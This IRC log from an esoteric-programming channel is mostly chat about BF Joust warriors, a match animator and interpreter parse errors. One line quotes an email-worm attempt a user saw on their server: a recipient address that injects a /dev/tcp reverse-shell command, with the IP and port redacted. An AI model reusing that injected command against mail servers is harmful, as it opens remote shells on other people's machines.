18:37:24 <quintopia> elliott: you did once insist upon female pronouns. can we just use "ey" for you?
18:37:30 <elliott> psht!
18:37:39 <elliott> it's all part of my scheming plot
18:37:48 <elliott> to make everyone using the english language so confused
18:37:51 <elliott> that they all forget how to speak
18:37:54 <elliott> and then i'll ???
18:38:03 <quintopia> could have sworn is was your plotting scheme
18:38:12 <elliott> (this is based on an assumption that i talk to everyone who knows the english language, which is a true assumption and a fact)
18:38:24 <quintopia> oh, no. that's a lisplike with graphing capabilities innit?
18:39:00 <elliott> HURF DURF
18:39:06 <elliott> ais523: quick, talk about bf joust
18:39:09 <elliott> we don't need pun threads in here
18:39:32 <ais523> elliott: without oerjan around?
18:39:39 <elliott> those aren't threads, those are one-offs
18:41:59 <zzo38> Do you expect PCL is used more commonly than DVI?
18:42:37 <elliott> ...yes, zzo38, but of course.
18:44:39 <Sgeo> o.O at the existence of a VirtualBox 4
18:45:20 <elliott> ais523: can i tell you my planned strategy for you to rip off? It would basically require code generation to do.
18:45:23 <elliott> but i think it would be effective.
18:45:31 <elliott> also it's not a cohesive strategy, just a bunch of ideas.
18:45:35 <ais523> you can tell me, it doesn't mean if I'll actually rip it off
18:45:44 <elliott> ais523: but i need someone to carry on the legacy :)
18:45:49 <ais523> umm, I don't think that last sentence was coherent, but you probably know what I mean anyway
18:46:06 <elliott> I didn't even see the if
18:46:23 <elliott> ais523: anyway, one idea is this
18:46:46 <fizzie> Heh, someone just tried to send email to "root+:|exec /bin/sh 0</dev/tcp/<ip>/<port> 1>&0 2>&0@zem.fi" (sanitized the numbers out).
18:46:50 <fizzie> Email worms, how quaint.
18:47:03 <elliott> ais523: translate a tripwire program "a[]b" into "a[[[[[[[[(lots of [s)(same amount of b]s)", where b is the rest of the program
18:47:10 <elliott> ais523: this is, I think, the most efficient time-limited tripwire you can do
18:47:15 <elliott> but causes insane explosion of code
18:47:41 <ais523> you don't need massive efficiency in that anyway
18:47:49 <ais523> reverse tripwires make a much neater time-limited tripwire
18:48:12 <elliott> ais523: it was part of a greater strategy
18:48:15 <ais523> fizzie: presumably some email server actually executes that by mistake?
18:48:20 <elliott> i.e., you'd have a huge program with that as one of the strategies
18:49:35 <fizzie> Well, presumably; I doubt they'd bother sending that in the hopes the recipient is going to run it. (Though I guess it might be borderline possible, if unlikely, that it's actually targeting an email client problem instead.)
18:49:48 <quintopia> elliott: i considered doing that as a way of calculating the exact size of an offset used by an offset clearer (with different values computed for whether it is 2 or 3 cycle clear)
18:50:12 <elliott> fizzie: very unlikely, nobody uses linux on the desktop
18:50:16 <elliott> :P
18:50:19 <Gregor> quintopia: That gives no distinct colors for the flag or players.
18:50:40 <elliott> Gregor: Plz2be make the players different colours, and show the player colour as the bottom square of whatever cell they're on.
18:50:45 <elliott> Also, flip it vertically X-P
18:51:11 <quintopia> Gregor: my method was to put the players on tracks parallel to the tape, and let the values on the tape be just their value all the time
18:51:34 <Gregor> quintopia: Idonno, I'm kinda groovin' on zzo38's height method.
18:51:49 <quintopia> height, eh?
18:51:55 <quintopia> that sounds cool too
18:52:05 <Gregor> quintopia: ... you haven't actually seen the current state? :P
18:52:20 <quintopia> so a bar graph that can go either above or below?
18:52:22 <quintopia> no
18:53:10 <elliott> <Gregor> quintopia: Idonno, I'm kinda groovin' on zzo38's height method.
18:53:10 <elliott> wut?
18:54:18 -!- Sgeo has quit (Ping timeout: 240 seconds).
18:54:44 <quintopia> Gregor: make it so it ranges -127 to 128, and make it so we can see which player is which
18:58:00 <fizzie> ais523: Speaking of which, I fixed one cranklance bug, and now the clusters rearranged themselves into http://zem.fi/~fis/clust5.png which at least has a nice impomatic group in there.
18:58:19 <elliott> fizzie: Can I organise a hostile takeover of Cranklance Software?
18:59:06 <fizzie> I'll put the crank-code somewhere after you perfect lance; so that I have a non-javascript reference implementation to test against. :p
18:59:22 <elliott> fizzie: I mean to integrate the compiler into lance itself :P
18:59:57 <fizzie> Crank's not a compiler, though; it's just a boring thing. You could integrate chainlance, but it seems to be more of a pessimization for any real programs.
19:00:07 <elliott> fizzie: In't that the threaded code thing?
19:00:13 <elliott> Close enough to a compiler for Forthers; close enough for me.
19:00:24 <fizzie> Well, in that sense, yes.
19:00:45 <elliott> fizzie: It's a pissimizatoriness because of your crazy () semantics, I think :P
19:01:03 <fizzie> Nah, my test cases didn't have any (foo{bar}baz)'s in them.
19:02:35 -!- ais523_ has joined.
19:02:51 -!- ais523 has quit (Ping timeout: 240 seconds).
19:02:59 -!- ais523_ has changed nick to ais523.
19:03:03 <fizzie> Also crank now does the more standard "count in different directions thing" I lifted from egojsout, and not the "invert counters on each {}-middle-skipping [..]-jump. But there's at least one more bug in there somewhere; my simple-enough-to-read-the-trace test cases do work, but some of the more complicated things go awry after a thousand cycles or so.
19:04:05 <ais523> we need a BF Joust conformance test suite and performance benchmark
19:04:12 <quintopia> wow
19:04:35 <elliott> :D
19:04:40 <elliott> ais523: quick, link me to an article to dismiss IPv6 privacy complaints
19:04:55 <ais523> I don't have one on-hand
19:05:05 <quintopia> i just found a major bug in space_elevator. somehow it's going from rush mode *back* to defend mode for tape length 30 against saccharin_philip
19:05:12 <elliott> quintopia: :D
19:05:30 <elliott> ais523: ok, well link me to a therapist, because i have this urge to generate BF Joust programs with Mathematica
19:05:43 <elliott> and there's no way /that's/ the thought of a sane man
19:05:47 <ais523> no, it isn't
19:06:31 <Gregor> http://codu.org/eso/bfjoust/egojsout/anim/ OK, try this on for size
19:06:53 <Gregor> Ohwait, not yet :P
19:07:01 <quintopia> fizzie: i think your clustering is dead on in terms of putting similar strategy types together
19:07:04 <elliott> Gregor: you haven't flipped it vertically yet :P
19:07:05 <Gregor> Haven't pushed yet :P
19:07:26 <elliott> I wish xfwm was less buggy
19:07:33 <elliott> "Nemerle, Factor, Alice ML, and other programming languages are being deleted from Wikipedia. Please help." --/r/programming
19:07:35 <elliott> two thoughts
19:07:42 <Gregor> Now try it
19:07:44 <elliott> (1) Nemerle, Factor, Alice ML ... holy shit, it's Sgeo!
19:07:56 <elliott> (2) Nemerle is horrible and should probably stay deleted
19:08:00 <elliott> (3) How selfish of me
19:08:05 <elliott> (4) Hey, off-by-ones!
19:08:07 <elliott> (5) Hey, off-by-twos!
19:08:17 <elliott> (6) i'm trapped in a self-referential list of off-by-ones help
19:08:39 <quintopia> just say (7) off by fives and be done
19:09:13 <elliott> "I learned about Nemerle from Wikipedia, along with a slew of other not-widely-used languages. I've always really liked the comprehensiveness of its PL list. I agree that utterly useless stuff is worth deleting, but I'm having trouble understanding how Monsanto thinks he's improving the quality of wikipedia by doing this in any way commensurate with the effort he's spending."
19:09:18 <elliott> Theory -- things called Monsanto are inherently evil.
19:09:32 <elliott> Seriously though, lol deletionists.
19:10:07 <elliott> "Dear internet,
19:10:07 <elliott> You guys win. I will stop nominating pages for deletion.
19:10:08 <elliott> I wasn't doing this to troll or to slam any language community. I was just trying to help -- I read the WP guidelines for inclusion, and whenever I came across a language that didn't seem to meet said criteria, I nominated it for AfD. I think, with respect to Wikipedia's established notability guidelines, my arguments for deletion were airtight, which is probably why the articles were eventually deleted. I'm not sure my actions warranted the kind
19:10:08 <elliott> of internet-hatred I received as a result. If anyone thought what I was doing was wrong, they could have just sent me a friendly message and I would have politely discussed the issue. Few took this route, and I am sorry that due to time constraints and an overwhelming amount of invective I could not reply sensibly to everyone.
19:10:11 <elliott> Since the internet seems to care more about keeping these articles than I care about deleting them, I'll stop. I personally think a lot of the articles should have been deleted. I think that ALL articles I nominated for deletion fail to meet Wikipedia's general notability guideline. Here's a challenge, then, for the internet: instead of spamming my Wikipedia talk page (which I don't really care about), why don't you work on fixing WP's notability
19:10:16 <elliott> guideline for programming languages? Otherwise, some other naive editor will eventually try to delete them. Perhaps they won't have as much experience dealing with trolls and flamebait as I have had, and will become very hurt and confused. Nobody wants that :("
19:10:20 <elliott> as far as I can tell, this can be reduced to three sentences.
19:10:34 <elliott> "Hey Internet, stop being jerks. I can't use my own brain, I just follow the policy. But actually, I really agree with it, fuck you. :)
19:10:36 <elliott> *:)"
19:10:41 <elliott> *policy; change it!
19:10:51 <Gregor> quintopia: space_elevator is a thing of beauty.
19:11:30 <Gregor> I think "flag repair" needs to be mentioned in the strategy list.
19:12:25 <elliott> Gregor: graphical glitch
19:12:30 <elliott> try julias freezer vs. mapping turtle on right
19:12:32 <elliott> in chrome
19:12:40 <elliott> note how a trail of white underscores and... overscores is left
19:13:04 <elliott> Gregor: May I suggest adding a scrubber to go over the match at your own pace? :P
19:13:33 <Gregor> elliott: You're a dumbass :P
19:13:39 <elliott> Gregor: Why?
19:13:41 <Gregor> elliott: That trail is the TRAIL STRATEGY
19:13:47 <Gregor> mapping_turtle leaves a trail :P
19:13:48 <elliott> Gregor: ...no, you're the dumbass.
19:13:51 <elliott> Gregor: I mean after that.
19:13:59 <elliott> There's ones just like it, in the same pattern, but only one pixel high.
19:14:09 <Gregor> Yes, one pixel = value 1.
19:14:13 <quintopia> Gregor: saccharin_philip is also a thing of beauty
19:14:34 <elliott> Gregor: Oh.
19:14:37 <elliott> Gregor: It's ugly
19:14:42 <elliott> Gregor: Make two pixels = one value :P
19:14:46 <Gregor> elliott: I refuse.
19:14:54 <quintopia> Gregor: moar french!
19:14:57 <elliott> Oh well, hooray for lanceanim!
19:15:07 <quintopia> <Gregor> elliott: je refuse!!!!!!!!!!!
19:15:10 <elliott> Gonna add a scrubber? :P
19:15:17 <Gregor> elliott: I have no idea what you mean by that.
19:15:22 <elliott> UR A DUMBASS
19:15:30 <Gregor> elliott: And I'd love to have an offline animator, we could post animations on the strategies page :)
19:15:50 <quintopia> Gregor: he means a slideybar to select different moments in the match, like at the bottom of youtube videos
19:15:53 <elliott> Gregor: A scrubber is a selection bar that lets you set the argument to a continuous function over time.
19:15:57 <elliott> Gregor: i.e. a seek bar for a movie.
19:16:05 <elliott> In this case, it'd just round your selection to an integer, and choose that cycle.
19:16:15 <Gregor> Ahhhh. That's not easy for this since I don't actually save frames, I'm rendering them on the fly.
19:16:18 <elliott> So you could drag it slowly to see what happens in a fast bit, or advance it manually.
19:16:21 <elliott> Gregor: X-D
19:16:22 <quintopia> in this case, elliott would take a lot of words to repeat what i said
19:16:31 <elliott> quintopia: I was being a pedantic fucker.
19:16:36 <elliott> Gregor deserves it.
19:16:38 <Gregor> This is not a video player, it's a BFJ interpreter.
19:16:48 <elliott> Gregor: Yes, but it'd be actually useful if it had a scrubber.
19:16:56 <elliott> Because you could see things visually but still analyse it at a proper pace :P
19:17:17 <quintopia> Gregor: i once wrote a game where programs fought over a network, and it was able to save an entire history of the match on the fly so you could rewind and seek at will. it's really not that hard.
19:17:35 <elliott> It is when your program is small and entirely based around that principle.
19:17:37 <elliott> Hard is relative.
19:17:40 <elliott> In this case, hard = almost complete rewrite.
19:17:44 <elliott> (Of small program)
19:17:49 <quintopia> no
19:17:58 <quintopia> the history thing we patched in at the very end
19:18:15 <elliott> The program is small enough that it would be almost a complete rewrite.
19:18:17 <elliott> (I assume)
19:18:26 <elliott> (if it isn't then Gregor pha1lz)
19:18:47 <quintopia> i bet he could stick in the part that saves the current frame in a couple of lines, and just add one or two more functions for scrubbing
19:19:36 <elliott> quintopia: "Patches welcome"
19:19:59 <quintopia> elliott: tell me how to make a slidey bar in js and i'll do
19:20:03 <quintopia> ...eventually
19:20:13 <elliott> There's a tag for it in HTML 5.
19:20:26 <elliott> quintopia: http://webhole.net/2010/04/24/html-5-slider-input-tutorial/
19:20:27 <elliott> Good enough :P
19:20:53 <elliott> You might want to use the step stuff to keep the selection discrete, but OTOH dragging it would be smoother if you made it continuous and just floor()'d in the JS side.
19:21:47 <quintopia> mm
19:22:43 <Gregor> Yeah, I could just save 30 ints per frame, and then render from that.
19:23:08 <Gregor> I just don't want to deal with the actual "scrubber" (wtf is a scrubber guys, seriously, no using random obscure words when you mean "seek bar")
19:23:37 <quintopia> oh lol, my comments have - in them now XD
19:24:07 <quintopia> scrubbing is an A/V term for selecting individual frames in a movie
19:24:19 <quintopia> it's not that obscure
19:24:34 <elliott> <Gregor> I just don't want to deal with the actual "scrubber" (wtf is a scrubber guys, seriously, no using random obscure words when you mean "seek bar")
19:24:44 <elliott> Gregor: I could list EVERY PIECE OF PROGRAMMING JARGON EVER right now.
19:24:45 <elliott> But I won't.
19:24:56 <Gregor> This is a CS channel, not an AV channel.
19:25:04 <elliott> Meanwhile, Urban Dictionary:
19:25:06 <elliott> "a scrubber is a female tramp who would satisfy a male's needs without a second thought"
19:25:12 <Gregor> We should know programmer jargon.
19:25:12 <Gregor> Expecting us to know A/V jargon is unreasonable.
19:25:24 <elliott> It's hardly A/V jargon :P
19:25:48 <Gregor> It is quite clearly A/V jargon, since nobody else would know wtf it is.
19:26:12 <elliott> I'm not an A/V person and I do.
19:26:23 <ais523> I'm not an A/V person either, and I don't
19:26:32 <ais523> </pointless data point>
19:26:41 <elliott> you do now
19:28:10 <elliott> http://irregularwebcomic.net/2940.html :D
19:31:49 -!- ais523_ has joined.
19:31:54 -!- ais523 has quit (Ping timeout: 260 seconds).
19:32:04 -!- ais523_ has changed nick to ais523.
19:32:12 -!- augur has quit (Remote host closed the connection).
19:36:46 -!- augur has joined.
19:37:11 <augur> elliott: no
19:41:31 -!- ais523 has quit (Remote host closed the connection).
19:41:56 -!- ais523 has joined.
19:43:44 -!- Slereah has quit (Ping timeout: 255 seconds).
19:43:48 -!- nik340 has joined.
19:43:52 -!- nik340 has left (?).
19:46:27 -!- cheater- has joined.
19:46:40 -!- cheater00 has quit (Ping timeout: 240 seconds).
19:48:30 -!- Slereah has joined.
19:53:58 <quintopia> aight bugfix time!
19:54:06 <quintopia> !bfjoust space_elevator http://sprunge.us/hMia
19:55:21 <elliott> spelevator
19:55:32 <elliott> i need to make a decent program so i can call it chevrolet_movie_theater
19:55:45 <quintopia> why
19:55:50 <elliott> what do you mean why
19:56:09 <elliott> maybe this will lessen your confusion: http://www.youtube.com/watch?v=kZwhNFOn4ik
19:58:48 <EgoBot> Score for quintopia_space_elevator: 62.4
19:59:08 <quintopia> well that's odd XD
19:59:14 <elliott> ?
19:59:34 <quintopia> i fixed teh bugs and my score went down...
19:59:39 <quintopia> INTEREST
20:02:33 <quintopia> but it's more *pure* now so i'm gonna leave it. also, it now beats saccharin_philip which was MY MAIN GOAL HERE
20:03:05 <quintopia> (the reason it was losing to saccharin_philip was a major off-by-one error)
20:05:14 <Deewiant> Yay, pendolino is up to pos 3 again
20:05:24 <elliott> quintopia: BEAT IT
20:06:33 <quintopia> elliott: space_elevator already does beat it ...
20:06:38 <elliott> quintopia: BEAT IT HARDER
20:06:41 <quintopia> i suppose i could modify poke to suck less too
20:07:15 -!- Sgeo_ has joined.
20:08:10 -!- SgeoN1 has joined.
20:08:39 -!- ais523 has quit (Remote host closed the connection).
20:08:55 -!- SgeoN1 has quit (Client Quit).
20:09:28 <quintopia> myndzi: careful has a buttload of parse errors. lrn2matchloops.
20:09:45 <elliott> he's all
20:09:45 <elliott> OH
20:09:48 <elliott> they make the code uglier
20:09:49 <elliott> and hard to understand
20:09:49 <elliott> OH
20:09:53 <elliott> :n00b:
20:09:57 <elliott> ;;;;))</troll>
20:09:59 <elliott> <troll>>
20:11:28 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
20:12:03 <quintopia> Gregor: interestingly, egojsout and egojoust disagree on whether space_elevator beats careful. might this have something to do with the way they handle parse errors?
20:12:21 <Gregor> Probably, does careful have parse errors?
20:12:27 <quintopia> yes, lots of them
20:12:39 <Gregor> egojoust doesn't really "get" parse errors, it always expands.
20:12:46 <Gregor> egojsout never expands, so parse errors turn into noops.
20:13:11 <quintopia> aha. so myndzi is purposefully exploiting parse errors for fun and profit!
20:13:20 <quintopia> elliott: lance won't allow that, right?
20:13:33 <elliott> quintopia: indeed
20:13:39 <elliott> quintopia: it insults you whenever you make a parse error and immediately exits
20:13:51 <elliott> The error messages are:
20:13:53 <quintopia> DAMN RIGHT
20:13:56 <elliott> Oi -- your nesting is too deep, birdbrains.
20:14:02 <elliott> Oi -- your program has an unmatched X, and it's all your fault.
20:14:04 <elliott> (for some X)
20:14:11 <elliott> Oi -- your program has an unmatched X; you should feel bad.
20:14:17 <elliott> Oi -- your program is too long.
20:14:28 <elliott> Oi -- you have a {} without an enclosing () block. Why? Just... why?
20:14:28 <Deewiant> Too long?
20:14:35 <elliott> Deewiant: Over, like, a megabyte.
20:14:36 <quintopia> what is the maximum nesting depth and maximum length?
20:14:49 <elliott> High enough that you'd overstep the cycle count by nesting deep enough.
20:15:02 <elliott> Oi -- your program has an unmatched ). You're a scoundrel and a thief!
20:15:09 <quintopia> elliott: you should print the character number where the error was detected too, to help computer.
20:15:10 <elliott> Oi -- your program has an unmatched X. You can't just bash random keys and expect it to work!
20:15:19 <elliott> Oi -- you can't have )* after a () block containing {}s. Didn't they teach you anything in school?
20:15:33 <elliott> Oi -- you can't have )%% after a () block not containing {}s. When I sleep, I dream of a world filled with people who don't make stupid syntax errors.
20:15:39 <elliott> Oi -- you have a ) not followed by a * or a %%, probably because you're a bad person.
20:15:43 <elliott> (That %% is a %)
20:15:44 <quintopia> elliott: HELP COMPUTER
20:15:50 <elliott> Oi -- you have a * or a % not followed by an integer. Did your parents drop you on your head as a kid?
20:15:58 <elliott> Oi -- your program has an unmatched X. ...I'm disappointed.
20:16:00 <elliott> quintopia: SORRY NO
20:16:04 <elliott> EVERYONE FIGURES OUT THEIR OWN PARSE ERRORS
20:16:10 <quintopia> D;
20:16:49 <Deewiant> elliott: Do you pick an "unmatched X" error at random or what
20:17:01 <elliott> Deewiant: Different situations :P
20:17:12 <elliott> Deewiant: if (neststki == 0) { \
20:17:12 <elliott> fprintf(stderr, "%d : Oi -- your program has an unmatched %c, and it's all your fault.\n", n, opchrs[c]); \
20:17:12 <elliott> exit(255); \
20:17:12 <elliott> } \
20:17:12 <elliott> if (neststk[neststki-1]->op != (t)) { \
20:17:12 <quintopia> elliott: does lance support the ``(print comment)*0 thing at least?
20:17:13 <elliott> fprintf(stderr, "%d : Oi -- your program has an unmatched %c; you should feel bad.\n", n, opchrs[neststk[neststki-1]->op]); \
20:17:17 <elliott> exit(255); \
20:17:19 <elliott> } \
20:17:21 <elliott> i.e., ( -- all your fault
20:17:23 <elliott> (x] -- you should feel bad
20:17:30 <elliott> and also since I was lazy and duplicated the special-case code in )
20:17:31 <elliott> you get
20:17:37 <elliott> Oi -- your program has an unmatched ). You're a scoundrel and a thief!\
20:17:40 <Deewiant> elliott: If you know the different situations, you could be more precise than "unmatched X" :-)
20:17:45 <elliott> for "foo)" with no brakcets before
20:17:46 <elliott> or
20:17:50 <elliott> You can't just bash random keys and expect it to work!
20:17:52 <elliott> for incorrect nesting
20:17:55 <elliott> Deewiant: It doesn't say X.
20:18:02 <elliott> It gets replaced with the relevant character.
20:18:07 <Deewiant> elliott: That's not what I meant
20:18:24 <elliott> Deewiant: egojoust has no error reporting, quit yer whinin'
20:18:29 <Deewiant> elliott: I meant that you could say "you're closing an X with a Y", for that (x] for instance
20:18:39 <quintopia> how could you detect that?
20:18:44 <elliott> quintopia: easy
20:18:47 <Deewiant> And then you should print the code line and a nice caret
20:18:56 <Deewiant> But I guess that's too hi-fi
20:18:57 <elliott> Deewiant: And fix it for the user.
20:19:05 <elliott> And tidy up their code.
20:19:09 <elliott> And give them supper and tuck them in bed.
20:19:10 <quintopia> elliott: the comment debug thing. lance has it?
20:19:14 <elliott> quintopia: eh?
20:19:25 <quintopia> 15:41 < quintopia> elliott: does lance support the ``(print comment)*0 thing at least?
20:19:52 <elliott> Um, no. That's an unportable egojsoust extension and using it in actual hill code is a sign of insanity.
20:20:00 <quintopia> well
20:20:01 <elliott> I would need to embed javascript for instance.
20:20:03 <quintopia> you're printing errors
20:20:08 <elliott> Also I think it's ``(foo) without the *0.
20:20:13 <quintopia> to the breakdown file, yes?
20:20:16 <elliott> Gregor: Tell him that I'm not going to execute arbitrary javascript
20:20:17 <elliott> quintopia: no, to the user
20:20:21 <quintopia> oh
20:20:23 <quintopia> nvm then
20:20:24 <elliott> no matches are run if the program is invalid
20:20:44 <quintopia> I GUESS WE WILL HAVE TO USE EGOJSOUT FOR DEBUGGING THEN
20:20:56 <Gregor> I was actually considering changing ``() to just be a print command.
20:21:04 <Gregor> So ``(foo) -> print("foo")
20:21:17 <Gregor> That way it's at least portable, since I haven't really thought of any use for doing anything else anyway :)
20:21:48 <elliott> quintopia: lance's actual debugger will let you set breakpoints and shit :P
20:22:05 <elliott> But egojsout is awesome enough that it's like priority -1.
20:22:07 <quintopia> elliott: but will it print the character number where a parse error was detected?
20:22:16 <elliott> Maybe if you donate money.
20:22:18 <elliott> Lots of money.
20:22:36 <quintopia> man
20:22:48 <quintopia> the day when you need breakpoints to debug a bf joust warrior
20:22:53 <Gregor> >: )
20:22:56 <quintopia> is the day it got TOO COMPLICATED FOR ME
20:22:59 -!- pikhq has joined.
20:23:05 <elliott> It's like a print statement except less informative. Shut your whore mouth.
20:23:18 -!- pikhq_ has quit (Ping timeout: 276 seconds).
20:24:30 <quintopia> myndzi_careful.bfjoust vs quintopia_space_elevator.bfjoust:
20:24:31 <quintopia> <<>>>>>>>>>>>>>>>>>>> <<<<<<<<><<<<<<<<<<<< <<<<<<<<><<<<<<<<<<<< <<>>>>>>>>>>>>>>>>>>>
20:24:51 <quintopia> and in egojsout:
20:24:54 <quintopia> Left:
20:24:55 <quintopia> Unmatched loop.
20:24:55 <quintopia> Unmatched loop at 194.
20:24:55 <quintopia> Unmatched loop at 195.
20:24:55 <quintopia> Unmatched loop at 196.
20:24:57 <quintopia> Unmatched loop.
20:24:59 <quintopia> Unmatched loop.
20:25:02 <quintopia> Unmatched loop.
20:25:04 <quintopia> < < > > > > > > > < < < > > > > < > > > >
20:25:07 <quintopia> < < < < < < < < > < < < > > > > > > > > >
20:25:09 <quintopia> Right wins (8)
20:26:19 -!- Slereah has quit (Ping timeout: 240 seconds).
20:29:03 <elliott> quintopia: unmatched loop = results are wrong don't bother
20:33:01 -!- Slereah has joined.
20:33:06 <Gregor> elliott: So where's lance, or do I have to write egojoust2 in like five minutes and then laugh.
20:33:06 <Deewiant> I can't find any unmatched loops in careful
20:33:47 <Gregor> (]]])*21
20:33:50 <quintopia> elliott: you mean that egojsout detects them wrong or that you can't say anything one way or the other when it says that or what?
20:33:58 <Gregor> (]]])*21 <-- this is illegal you know
20:34:18 <elliott> Gregor: Shaddap :P
20:34:30 <elliott> quintopia: the latter
20:34:32 <Deewiant> It's preceded by (a[b[c[)*21
20:34:40 <Gregor> Deewiant: Still illegal.
20:34:50 <elliott> Deewiant: Illegal.
20:34:52 <elliott> Illegal like arson.
20:34:54 <quintopia> oh
20:34:56 <Gregor> Deewiant: (a[b[c[ {...} ]]])%21 is the legal form
20:35:06 <fizzie> Illegal like Deewiant!
20:35:12 <Gregor> Deewiant: The form in careful is really difficult to do without expansion.
20:35:13 <quintopia> yeah, that's fair, since egojoust can't handle ({})%
20:35:15 <Deewiant> But doesn't current !bfjoust handle it correctly?
20:35:23 <Gregor> quintopia: egojoust can't handle NESTED ({})
20:35:24 <quintopia> i'm gonna say egojoust scored the match right then
20:35:36 <Gregor> quintopia: egojoust handles normal ({}) just fine, as well as ({({})}) nesting.
20:35:41 <Gregor> quintopia: Just not (({{}}))
20:35:44 <fizzie> Deewiant: Think of it as undefined behaviour; everything's correct.
20:35:49 <Deewiant> Right.
20:36:06 <Gregor> Deewiant: But as we get a faster implementation, it'll have to throw away doing it that way.
20:36:11 <quintopia> Gregor: flase! i tried to do normal nesting of ({})% with ()* and it parse error'd me out the ass
20:36:12 <Gregor> elliott: IF we get a faster implementation.
20:36:22 <quintopia> i checked and double checked
20:36:22 <elliott> Gregor: Seriously. Shut it :P
20:36:26 <Gregor> quintopia: Then you did it wrong.
20:36:27 <quintopia> everything was correct
20:36:35 <elliott> Gregor: I'm restructuring lance a little bit to stop these stupid bugs appearing.
20:36:42 <elliott> Gregor: It will become something basically identical to egojsout: The C Edition.
20:36:46 <elliott> So it's exactly what you would do instead :P
20:36:47 <Gregor> quintopia: Show me the code.
20:36:52 <elliott> In conclusion: SHADDAP.
20:37:19 <quintopia> the code doesn't exist anymore because it rewrote it so egojoust could handle it.
20:37:30 <Gregor> quintopia: Also, since egojoust doesn't report parse errors, I don't know how you came to that conclusion :P
20:37:41 <quintopia> Gregor: it printed them in breakdown.txt
20:37:45 <quintopia> "failed to parse file"
20:38:02 <Gregor> Wow, I didn't even know I did that :P
20:38:08 <Gregor> !bfjoust this_is_ok_folks ({ (+)*3 })%3
20:38:19 <EgoBot> Score for Gregor_this_is_ok_folks: 5.8
20:38:27 <Gregor> No parse failures.
20:38:27 <elliott> (add-hook 'c-mode-hook (lambda ()
20:38:28 <elliott> (c-set-style "bsd")
20:38:28 <elliott> (setq c-basic-offset 4)))
20:38:29 <elliott> WHY DOES THIS NOT WORK
20:38:33 <elliott> WHAT DO YOU WANT FROM ME EMACS
20:38:34 <quintopia> oerjan suggested that its because it was expanding programs wrong and adding uninitialized memory to the end of the program, thereby breaking the parse
20:38:46 <Gregor> quintopia: Yeah, that was fixed, like, days ago :P
20:38:49 <Gregor> DAYS
20:38:53 <elliott> <elliott> WHY DOES THIS NOT WORK
20:38:53 <elliott> <elliott> WHAT DO YOU WANT FROM ME EMACS
20:39:01 <elliott> Gregor: If you want EgoBot, learn Emacs and tell me what the problem is.
20:39:06 <elliott> ...
20:39:07 <elliott> *lance,
20:39:17 <Gregor> elliott: I can always write egojoust2, so holding lance hostage is pointless.
20:39:43 <elliott> Gregor: Gosh, you're getting so IMPATIENT
20:39:55 <elliott> quintopia: Tell him you won't accept an implementation that does not call the polarities by their proper names.
20:40:06 -!- Slereah has quit (Ping timeout: 264 seconds).
20:41:01 <augur> anyone know any lithuanians?
20:41:05 <quintopia> Gregor: call the polarities "Gregor" and "elliott", or, if you prefer, "Gigolo" and "Asshat"
20:41:11 <quintopia> augur: no
20:41:14 <elliott> augur: one
20:41:17 <elliott> but you don't want to talk to him
20:41:22 <augur> why not?
20:41:26 <quintopia> though my ex-g/f had lithuanian ancestry :P
20:41:30 <elliott> he sucks :P
20:41:34 <augur> i need a native lithuanian speaker
20:41:50 <elliott> i think he's only native in lithuanian profanity :P
20:42:01 <augur> well that doesnt count then
20:42:05 <augur> i need someone from lithuania
20:42:05 <elliott> no i'm joking
20:42:13 <elliott> he's from lithuania and is a native lithuanian
20:42:16 <elliott> but why do you want
20:42:22 <augur> is he on irc?
20:43:45 <elliott> no
20:43:52 <elliott> do you have any polish ancestry?
20:44:39 <augur> no
20:44:43 <augur> not that i know of
20:44:49 <augur> its possible but who knows
20:44:56 <elliott> augur: too risky, don't talk to him
20:45:13 -!- Slereah has joined.
20:45:31 <augur> lol
20:49:46 <Gregor> I updated the animation to show the flags in red and blue instead of green and green.
20:50:04 <elliott> Gregor: Oh. That's revolutionary.
20:50:15 <elliott> Link me again :P
20:50:35 <Gregor> http://codu.org/eso/bfjoust/egojsout/anim/
20:51:00 -!- zzo38 has quit (Remote host closed the connection).
20:51:10 <elliott> Gregor: I see you still don't end the .js with ?version number :P
20:51:14 * elliott hard refreshes MANUALLY.
20:51:27 <Gregor> elliott: Cry me a river.
20:51:31 <elliott> Doing so
20:54:07 <elliott> Gregor: Make every tape cell one wide.
20:54:09 <elliott> For consistency!
20:54:18 <Gregor> ... how is that "consistency"
20:55:00 <elliott> Gregor: Because they're one high at minimum.
20:55:02 <elliott> Squares are consistent.
20:55:11 <Gregor> ... X_X
20:55:15 <Gregor> Worst - logic - ever.
20:55:44 <Gregor> A one-pixel-tall light rectangle on a dark background is both quite visible and quite obviously small. It is the perfect thing to use.
20:56:31 <elliott> Gregor: I want to see it in one-pixel form, dammit.
20:56:42 <Gregor> I don't :P
20:56:53 <elliott> <Gregor> Waah
20:57:26 <quintopia> guys. animate decoybooster2 vs space_elevator, tape length 11, kettle polarity. watch the hilarious way in which space_elevator fails miserably XD
20:58:53 <elliott> quintopia puts his warriors on the right too
20:58:53 <elliott> yay
20:58:54 <Gregor> quintopia: lawl, it passed zero twice on its own :P
20:59:30 <quintopia> elliott: it makes it so the breakdowns look the same as breakdown.txt
20:59:49 <quintopia> Gregor: did you see how it's wobbling the flag all over the place?
20:59:55 <quintopia> updownupdownupdown
21:03:23 <Gregor> quintopia: Yeah, it's pretty fidgety :P
21:03:30 <Gregor> Epic lols were had by all.
21:04:43 <quintopia> !bfjoust space_elevator http://sprunge.us/hcRD
21:04:51 <EgoBot> Score for quintopia_space_elevator: 56.1
21:05:18 <elliott> fail
21:06:00 <quintopia> apparently :P
21:06:07 -!- SimonRC has quit (Ping timeout: 265 seconds).
21:08:53 <Gregor> OK folks, how can we get people who aren't in #esoteric in on this; I honestly think there are lots of people who would lurve BFJousting.
21:09:37 <quintopia> it's a higher barrier to entry than you might think
21:09:41 <elliott> What quintopia said.
21:09:46 <elliott> Writing programs is really hard.
21:09:49 <quintopia> !bfjoust space_elevator http://sprunge.us/ORIN
21:09:55 <EgoBot> Score for quintopia_space_elevator: 62.9
21:09:57 <elliott> Somebody entering just now without ever seeing the hill evolution would be useless.
21:10:04 <elliott> Also, I hate people >_>
21:10:08 <Gregor> lol
21:10:08 <elliott> (OK I don't)
21:10:50 <quintopia> okay, so now that strange thing doesn't happen anymore :P
21:11:17 <quintopia> but yeah, explaining the strategies of the major programs on the strategy page would help
21:11:34 <Gregor> I am reconsidering making it possible to do direct links to a particular joust.
21:12:19 <quintopia> GOOD BECAUSE I WAS GOING TO SUGGEST THAT AGAIN
21:12:26 <quintopia> it would be so helpful for fleshing out that page
21:12:46 <quintopia> also, watching them work animated also helps with the understanding more than you might have thought
21:12:56 -!- SimonRC has joined.
